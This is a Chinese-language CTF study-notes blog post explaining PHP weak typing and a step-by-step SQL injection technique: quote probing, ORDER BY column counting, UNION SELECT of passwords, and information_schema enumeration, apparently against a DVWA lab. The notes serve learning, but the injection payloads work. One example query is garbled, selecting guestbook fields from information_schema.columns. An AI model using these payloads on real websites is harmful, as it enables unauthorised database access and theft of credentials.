CTF学习笔记

CTF学习笔记

本篇主要面向实操和ctf部分题目,了解一些渗透和入侵知识

BurpSuit的常见用法

HackBar常见用法

爆破

PHP弱类型的机会

字符串会取前面的值,否则为0,做运算时如果遇到e会转换成科学计数法

1
2
3
"2e123" => 2
"e123" => 0
"2e123" + 1 => 2 * 10^123 + 1

SQL注入

比如后端有一个查询语句,可能是以下几种形式

1
2
3
select first_name, last_name from user where id="$id"
select first_name, last_name from user where id='$id'
select first_name, last_name from user where id=$id
  1. 判断单双引号和是否有机会:先用单引号或者双引号1"来进行尝试
1
2
1'
1"

如果其中一个提示sql语法错误,是因为两端引号不匹配,后台大概率没有做防注入攻击,那么有机会

  1. 判断是否是数值型:用
1
2
1 and 1=1
1 and 1=2

来判断,如果是字符型则两种都会输出一样的结果(因为MySQL隐式转换会将”1 and 1=1”转换为1,参考PHP弱类型转换),如果是数值型,则1=2时会搜索不到内容,后续的步骤就不需要闭合引号

  1. 使用order by获取列数,还是以上面的select语句为例,
1
2
3
4
5
输入
1' order by 1#

则sql语句变为
select * from user where id='1' order by 1#'

#会将后面的’注释掉(如果是确认了字符型则可以不用,但是加了也没关系hhh)

这里的order by 跟数字则会对结果第n列排序,继续改为234,直到报错,则说明有多少列

  1. 使用union获取需要信息

基本格式

-1' union xxx#

1
2
3
4
5
输入
-1' union select password, last_name from user#

则sql语句变为
select first_name, last_name from user where id='-1' union select password, last_name from user#'

因为union一定要两个select相同列数,所以之前要先查询列数,且注入的select要保证列数一样

  1. 如果是浏览器url的方式,则注意替换为编码
1
2
3
4
5
' => %27
" =>
# => %23
, => %2C
空格 => + 或者不严格可以不转义
  1. 常用的查询
1
2
3
4
5
6
7
select version(), database() # 查询数据库版本和数据库名称比如叫dvwa,注意union注入要保持列数一致,如果三列可以select 1, version(), database()

select table_name from information_schema.tables where table_schema='dvwa' # 查询数据库有哪些表比如叫guestbook

select group_concat(column_name) from information_schema.columns where table_name='guestbook' # 获取表的字段名

select group_concat(comment_id, comment, name) from information_schema.columns where table_name='guestbook' # 获取表的字段名
  1. 其他要注意的点

group_concat可以让结果为1行输出,有些网站只能输出一行时可以使用,同时使用这个也能合并多个字段为一个字段作为输出结果,确保union列数一致

未使用group_concat

image-20260811234616430

使用group_concat,可以多查comment_id列和其他列,反正结果都会成为1列,然后前面再补个select 1凑成两列

image-20260811234533756

#

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×